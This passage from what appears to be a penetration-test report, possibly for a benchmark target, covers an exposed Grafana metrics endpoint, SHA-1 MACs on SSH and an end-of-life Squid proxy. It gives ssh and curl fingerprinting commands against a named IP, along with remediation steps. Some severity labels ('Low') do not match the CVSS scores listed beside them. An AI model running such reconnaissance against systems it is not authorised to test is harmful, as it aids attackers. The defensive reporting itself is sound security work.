Step 2: Confirm that sensitive telemetry is disclosed by noting `grafana_build_info` metadata and per-handler counters for administrative and API routes in the unauthenticated response.

Remediation

Implement the following measures to eliminate this vulnerability:

- Restrict `/metrics` to trusted monitoring sources only using network ACLs, security groups, or reverse-proxy allowlists.
- Require authentication for metrics scraping where supported, and ensure anonymous/public access paths do not include operational telemetry endpoints.
- If external scraping is not required, disable public exposure of the metrics endpoint and bind it to an internal interface.
- Reduce sensitive telemetry detail where possible (for example route-level labels and version-identifying metadata) to limit reconnaissance value.
- Add a continuous hardening check to alert when `/metrics` is reachable without authentication from untrusted networks.

References

CVSS 6.9: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

CWE-215: Information Exposure Through Debug Information

2.3.9 PT-9 - SSH server allows deprecated SHA-1 MAC algorithms on port 22

Low

Identified on: October 23rd 2026

Description

The OpenSSH service on port 22 was confirmed to advertise SHA-1 based MAC suites (hmac-sha1 and hmac-sha1-etm@openssh.com) in both traffic directions during SSH algorithm negotiation. This weak cryptographic configuration allows deprecated integrity algorithms to remain negotiable and reduces protocol hardening compared to modern-only MAC policies.

Business Impact

The primary impact is reduced cryptographic assurance for administrative access channels. If deprecated SHA-1 MAC suites are negotiated, session integrity protections rely on older algorithms that are no longer recommended under current hardening standards, which can increase long-term exposure in mixed-client or constrained environments. Operationally, this issue is typically categorized as a hardening and compliance gap rather than an immediate compromise vector. However, SSH commonly protects privileged management access, so weakened crypto posture on this boundary can contribute to broader risk accumulation when combined with network interception opportunities or legacy client behavior. From a governance perspective, use of deprecated cryptographic primitives may conflict with internal security baselines and external control frameworks that require modern algorithm policy. This can create audit findings and remediation obligations, especially for internet-exposed infrastructure.

How to Exploit

Step 1: Run the SSH negotiation check from a terminal to capture the server banner and advertised MAC algorithms on 74.241.169.87:22.

```
ssh -vv -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=none -o NumberOfPasswordPrompts=0 -o Conne
ctTimeout=10 -p 22 nobody@74.241.169.87 true 2>&1 | egrep 'Remote protocol version|KEX algorithms:|MACs ctos:|MACs stoc:|Authentications tha
t can continue'
```

Step 2: Verify that both `hmac-sha1` and `hmac-sha1-etm@openssh.com` appear under both `MACs ctos` and `MACs stoc`, confirming deprecated SHA-1 MAC suites are negotiable in both traffic directions.

Remediation

Implement the following measures to eliminate this vulnerability:

- Define an explicit `MACs` allowlist in `sshd_config` that excludes SHA-1 suites, removing at minimum `hmac-sha1` and `hmac-sha1-etm@openssh.com`.
- Restrict server MAC policy to modern options such as SHA-2 ETM/UMAC variants that are compatible with current client baselines.
- Reload/restart the SSH daemon after configuration changes and re-run the same `ssh -vv` negotiation check to confirm SHA-1 MACs are no longer advertised.
- Apply the hardened SSH crypto baseline through configuration management so new hosts do not inherit permissive defaults.
- Maintain periodic external crypto posture checks for internet-facing SSH endpoints to detect regression.

References

CVSS 6.3: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

CWE-327: Use of a Broken or Risky Cryptographic Algorithm

2.3.10 PT-10 - End-of-life Squid 6.13 exposed on proxy endpoint

Low

Identified on: October 23rd 2026

Description

An internet-reachable proxy endpoint was confirmed to run Squid version 6.13 on port 8443. This version branch is end-of-life and no longer receives normal security updates, increasing exposure to known and future vulnerabilities. The unsupported version was verified via response headers and an end-of-life detection template match.

Business Impact

Use of unsupported proxy software creates ongoing security debt on a traffic-handling control point. If additional vulnerabilities affecting Squid 6.x are disclosed, compromise opportunities may include traffic interception, policy bypass, proxy abuse, or denial-of-service conditions, depending on the future flaw and deployment context. Because the endpoint is internet-reachable and version disclosure is immediate, discovery by opportunistic scanning is likely. This increases the probability of automated targeting once known exploits are available, especially for organizations that cannot patch quickly. From a governance perspective, operation of end-of-life infrastructure can conflict with patch-management and secure-maintenance requirements in common security frameworks and contractual controls. Even without immediate compromise evidence, the condition raises audit and compliance risk due to lack of vendor-backed security maintenance.

How to Exploit

Step 1: Run this curl command, or paste the raw request into Burp Repeater with target `http://g.ext-pentest-benchmark.org:8443`, to fingerprint the proxy service version exposed on the scoped virtual host.

```
curl -i -sS --max-time 15 http://74.241.169.87:8443/ -H 'Host: g.ext-pentest-benchmark.org:8443'
```

Step 2: Confirm that detected version `6.13` is end-of-life by checking Squid lifecycle references (`https://endoflife.date/squid` and `https://www.squid-cache.org/Versions/`).

Remediation

Implement the following measures to eliminate this vulnerability:

- Upgrade Squid on the affected endpoint to a currently supported release line under active security maintenance (preferably the latest stable branch).
- If immediate upgrade cannot be completed, restrict inbound access to the proxy port (8443) to trusted source ranges only and remove broad internet exposure.
- Establish an asset lifecycle control that tracks software support status and raises mandatory remediation tickets before end-of-support dates.
- Add continuous version/compliance monitoring for internet-facing services so unsupported components are detected automatically during routine security checks.
- Implement a formal patch SLA for edge infrastructure components (proxies, gateways, load balancers) and validate completion through periodic configuration audits.

References

CVSS 6.9: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

CWE-1104: Use of Unmaintained Third Party Components